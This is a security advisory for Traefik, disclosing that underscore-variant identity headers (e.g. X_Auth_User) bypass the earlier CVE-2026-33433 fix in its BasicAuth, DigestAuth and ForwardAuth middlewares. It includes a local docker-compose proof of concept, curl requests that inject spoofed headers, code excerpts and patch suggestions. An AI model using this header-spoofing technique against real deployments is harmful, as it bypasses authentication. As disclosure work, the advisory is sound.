Traefik: Incomplete fix for CVE-2026-33433 + CVE-2026-39858 cross-cohort: headerField underscore-variant identity spoofing in BasicAuth / DigestAuth / ForwardAuth
Summary
There is a high severity vulnerability in Traefik's BasicAuth, DigestAuth, and ForwardAuth
middlewares. The fix for CVE-2026-33433 stripped canonical-cased spoofed identity headers
(e.g. X-Auth-User) before writing Traefik's own value, but did not account for
underscore-variant header names (e.g. X_Auth_User), which many backends normalize
identically to the dashed form. An attacker able to reach a protected route could inject
an underscore-variant header that survives Traefik's stripping and reaches the backend
alongside — or, on the unauthenticated ForwardAuth authResponseHeaders path, instead of
— the value Traefik intended to set, spoofing identity or authorization context. This is
fixed by setting the new allowHeadersWithUnderscores: false entry point option, which
strips all headers with underscores in their names before routing.
Patches
- https://github.com/traefik/traefik/releases/tag/v2.11.51
- https://github.com/traefik/traefik/releases/tag/v3.6.22
- https://github.com/traefik/traefik/releases/tag/v3.7.6
For more information
If you have any questions or comments about this advisory, please open an issue.
Original Description
Incomplete fix for CVE-2026-33433 + CVE-2026-39858 cross-cohort: headerField underscore-variant identity spoofing in BasicAuth / DigestAuth / ForwardAuth
Summary
The fix for CVE-2026-33433 (GHSA-qr99-7898-vr7c, "BasicAuth/DigestAuth Identity Spoofing via Non-Canonical headerField", patched in v2.11.42 / v3.6.12 / v3.7.0-ea.3) added req.Header.Del(headerField) before the literal-key writeback in pkg/middlewares/auth/basic_auth.go and pkg/middlewares/auth/digest_auth.go. Go's Header.Del calls textproto.CanonicalMIMEHeaderKey which canonicalizes ASCII CASE and treats - as a word separator — so the fix correctly strips canonical-cased attacker headers (X-Auth-User, x-auth-user, X-AUTH-USER, etc.).
However, textproto.CanonicalMIMEHeaderKey does NOT treat _ as a separator. Attacker-supplied underscore-variant headers such as X_Auth_User survive Header.Del("X-Auth-User") intact and are forwarded to the backend alongside Traefik's own writeback. Many common backends (CGI/WSGI per RFC 3875, PHP $_SERVER, nginx with underscores_in_headers on, Tomcat / Java EE servlet containers, ASGI/WSGI frameworks) normalize _ ↔ - equivalently or expose both forms to application code that may read the attacker's value.
This is the direct cross-cohort sibling of the threat model the maintainer accepted in CVE-2026-39858 (GHSA-5m6w-wvh7-57vm, "Forwarded alias spoofing pre-auth decision bypass"), which fixed the underscore-variant of the X-Forwarded-* family via isManagedXHeader in pkg/middlewares/forwardedheaders/forwarded_header.go. The CVE-2026-39858 advisory body states verbatim:
"When the backend normalizes underscore and dash header forms equivalently, an attacker can inject spoofed trust context — such as a trusted scheme or host — through the alias headers and bypass authentication on protected routes without valid credentials."
The same threat model applies to the operator-configurable headerField (BasicAuth, DigestAuth) and authResponseHeaders (ForwardAuth, ingress-nginx snippet provider), but the underscore-handling primitive (isManagedXHeader) was not extended to those middlewares. I verified the bypass end-to-end on traefik:v3.6.14 (the latest patched release containing both fixes) using a default-recommended canonical headerField: "X-Auth-User" config and reproduced the bypass with a single curl -H "X_Auth_User: superadmin" ... request alongside valid BasicAuth credentials.
The defect is present in four code paths at HEAD eec68dce064f843b4317c4393aaea81b6dea31d6:
pkg/middlewares/auth/basic_auth.go:101-105— BasicAuthheaderFieldpkg/middlewares/auth/digest_auth.go:99-103— DigestAuthheaderFieldpkg/middlewares/auth/forward.go:304-310— ForwardAuthauthResponseHeadersper-name writebackpkg/middlewares/ingressnginx/snippet/snippet.go:480-486— Ingress-NGINX snippetauthResponseHeadersper-name writeback
The ForwardAuth instance (#3) is particularly notable: the attacker does NOT need credentials. The authResponseHeaders mechanism is intended to copy identity headers from the trusted auth server only; the underscore-variant bypass lets an unauthenticated attacker pre-inject the same identity header before any auth happens.
The fast proxy at pkg/proxy/fast/proxy.go:139 explicitly calls DisableNormalizing() on the outgoing fasthttp request, guaranteeing that the underscore-variant header reaches the backend wire verbatim. The standard httputil.ReverseProxy path at pkg/proxy/httputil/proxy.go:55 likewise copies req.Header keys as-is during the wire write.
Affected versions
traefikv3.6.x ≤ 3.6.14, v3.7.x ≤ 3.7.0-rc.2, v2.11.x ≤ 2.11.43, and all earlier versions sharing the same auth middleware architecture.
The defect is present at HEAD post-CVE-2026-33433 fix (the fix added the Del line but the literal-key write defect-class survives for underscore variants).
Root cause
In pkg/middlewares/auth/basic_auth.go at HEAD eec68dc:
if b.headerField != "" {
// TODO Deprecated we should add the header with canonical key.
req.Header.Del(b.headerField)
req.Header[b.headerField] = []string{user}
}
The TODO comment shows the maintainer is aware of the literal-key write problem in general (canonical-key write would solve the case-canonicalization issue more cleanly than the current Del + literal-write pair). The comment does not acknowledge the underscore-variant survival corollary.
pkg/middlewares/auth/digest_auth.go:99-103 and the two ForwardAuth paths follow the same Del + literal-write pattern. Each is independently exploitable; the underlying primitive defect is shared.
The maintainer's gold-standard primitive for handling this exact threat class is pkg/middlewares/forwardedheaders/forwarded_header.go:53-66:
func isManagedXHeader(key string) bool {
if len(key) == 0 || key[0] != 'X' { return false }
if _, ok := XHeadersSet[key]; ok { return true }
if strings.IndexByte(key, '_') < 0 { return false }
canonical := http.CanonicalHeaderKey(strings.ReplaceAll(key, "_", "-"))
_, ok := XHeadersSet[canonical]
return ok
}
This treats _ ↔ - equivalence as a security requirement. It is reachable only via the static XHeadersSet membership check, which contains exclusively the X-Forwarded-* family + X-Real-Ip. Operator-configurable identity headers are out of scope of this primitive.
Proof of concept
Verified on traefik:v3.6.14 (the patched version, post-CVE-2026-33433 and post-CVE-2026-39858) using Docker compose. Full reproducer at https://github.com//traefik-ht1a-poc; commands below are verbatim.
Setup
# docker-compose.yml
services:
traefik:
image: traefik:v3.6.14
command:
- --providers.file.filename=/etc/traefik/dynamic.yml
- --entrypoints.web.address=:80
ports:
- "8080:80"
volumes:
- ./traefik/dynamic.yml:/etc/traefik/dynamic.yml:ro
echo:
image: mendhak/http-https-echo:36
environment:
- HTTP_PORT=8888
# traefik/dynamic.yml — canonical headerField, recommended operator config
http:
routers:
protected:
rule: "PathPrefix(`/`)"
service: echo
middlewares: [basic-auth]
services:
echo:
loadBalancer:
servers: [{url: "http://echo:8888"}]
middlewares:
basic-auth:
basicAuth:
users:
- 'alice:$2b$05$FhDfYidZdDPuQjovYqcTAe22wHpQ/cILC7Tr2yAD6vLlvZh/Q45PC' # alice:secret123
headerField: "X-Auth-User"
docker compose up -d.
Test 1 (control — CVE-2026-33433 fix works for canonical case)
$ curl -s -u alice:secret123 -H "X-Auth-User: superadmin" http://localhost:8080/
{
...
"x-auth-user": "alice",
...
}
The attacker's canonical X-Auth-User: superadmin was correctly stripped by Traefik's Del; the backend receives only Traefik's authenticated-user writeback alice.
Test 2 (HT-1A bypass — underscore variant survives)
$ curl -s -u alice:secret123 -H "X_Auth_User: superadmin" http://localhost:8080/
{
...
"x-auth-user": "alice",
"x_auth_user": "superadmin",
...
}
The underscore-variant x_auth_user: superadmin reached the backend intact, despite the Del("X-Auth-User") having executed. The backend sees both forms.
Test 3 (double-send — same result)
$ curl -s -u alice:secret123 \
-H "X-Auth-User: superadmin" \
-H "X_Auth_User: superadmin" \
http://localhost:8080/
{
...
"x-auth-user": "alice", # Traefik's writeback
"x_auth_user": "superadmin", # attacker's underscore — survived Del
...
}
The canonical attacker header is stripped (Test 1 behavior). The underscore variant is forwarded.
Backend impact
The PoC's echo backend (mendhak/http-https-echo, Node.js) preserves both forms with the lowercase normalization Node.js applies. Application code reading req.headers["x-auth-user"] sees alice. Application code reading req.headers["x_auth_user"] sees superadmin.
For backends that normalize _ ↔ - equivalently — meaning the attacker's value wins:
- CGI / WSGI / PHP
$_SERVER(RFC 3875 §4.1.18 — header name uppercased with-replaced by_): bothX-Auth-UserandX_Auth_Usermap toHTTP_X_AUTH_USER. The last-set wins per the WSGI server's iteration order; many servers (gunicorn, uwsgi without--disable-logging, waitress) preserve both. Note: Apache + mod_php with defaultHttpProtocolOptions Strictfilters underscore-headers from$_SERVER(this PoC's PHP backend test demonstrated the filter); Apache + mod_python, Apache + mod_wsgi without the strict mode, nginx + uwsgi, nginx + gunicorn, nginx + FastCGI, and standalone WSGI servers do NOT filter. - nginx with
underscores_in_headers on(https://nginx.org/en/docs/http/ngx_http_core_module.html#underscores_in_headers): preserves underscore-variant headers and forwards them to upstream as separate values. Upstream application logic that does case-insensitive + underscore-insensitive matching (common pattern in security-sensitive code) merges them. - Tomcat / Java EE servlet containers:
HttpServletRequest.getHeader(name)is case-insensitive; underscore handling is container-specific. Many normalize. - Application middleware (WAFs, log aggregators, security gateways, identity-aware proxies) that normalize header names before applying security policy: both forms collapse to the same authorization decision input.
Severity
I propose HIGH CVSS 7.5 for the BasicAuth / DigestAuth case and CRITICAL CVSS 9.1 for the ForwardAuth authResponseHeaders case (the latter requires no credentials).
CVSS 3.1 vector (BasicAuth / DigestAuth): AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N=7.5 — one step above CVE-2026-33433 (which the maintainer scored MEDIUM 5.1 because it required misconfigured non-canonical headerField). HT-1A works against the canonical / recommended headerField configuration, broader operational scope.
CVSS 3.1 vector (ForwardAuth authResponseHeaders): AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N=9.1 — parallel to CVE-2026-39858 (HIGH 7.5) but achieves spoofing without credentials because the authResponseHeaders mechanism trusts headers exclusively from the auth server and the underscore variant defeats that trust boundary.
CWEs:
- CWE-290 (Authentication Bypass by Spoofing)
- CWE-178 (Improper Handling of Case Sensitivity) — analogous to CVE-2026-29054
- CWE-345 (Insufficient Verification of Data Authenticity) — same as CVE-2026-35051
Suggested fix
Two equivalent approaches:
1. Extend Header.Del to handle underscore variants at the four call sites. Replace:
req.Header.Del(b.headerField)
req.Header[b.headerField] = []string{user}
with:
canonical := http.CanonicalHeaderKey(b.headerField)
// Strip canonical AND underscore-variant of the canonical key.
for key := range req.Header {
if key == canonical || strings.EqualFold(strings.ReplaceAll(key, "_", "-"), canonical) {
delete(req.Header, key)
}
}
req.Header.Set(canonical, user) // canonical-key write
This pairs the headerField primitive with the same _ ↔ - equivalence that isManagedXHeader enforces for X-Forwarded-*.
2. Generalize the existing isManagedXHeader primitive into a stripHeaderAndVariants(headers http.Header, name string) helper in the forwardedheaders package and call it from basic_auth.go, digest_auth.go, forward.go, and snippet.go. Reusing the existing gold-standard primitive is the cleanest fix and minimizes future drift.
Either approach should also resolve the // TODO Deprecated we should add the header with canonical key. debt at basic_auth.go:102 and digest_auth.go:100 by writing to the canonical key (Header.Set(canonical, user)) instead of the literal b.headerField.
Why this is a Pattern-8 sibling, not a new CVE class
The combination of:
- CVE-2026-33433's fix scope (case-canonicalization for
headerField) - CVE-2026-39858's fix scope (underscore-variant for
XHeadersSet) - The defective primitive remaining at HEAD (the
Del+ literal-write pair at four call sites)
establishes that the maintainer accepts the threat model and has architectural primitives to fix it — but did not cross the two cohorts. The "primitive depth-audit" of the CVE-2026-33433 fix (reading the actual Header.Del implementation against the documented threat model and Go's canonicalization semantics) reveals the gap.
I confirmed there is no public PoC mentioning underscore-variant siblings of CVE-2026-33433 (WebSearched 2026-05-23). The fix-flurry from the April 2026 security release batch addressed the X-Forwarded family but not the headerField family.
Credit
Matteo Panzeri (GitHub matte1782). CVE credit requested.
AI-assistance disclosure
Static analysis, hypothesis writing, and hostile-review confirmation were assisted by Anthropic Claude (Opus 4.7). Live PoC reproduction, code-citation verification, and submission decision were made by the human author.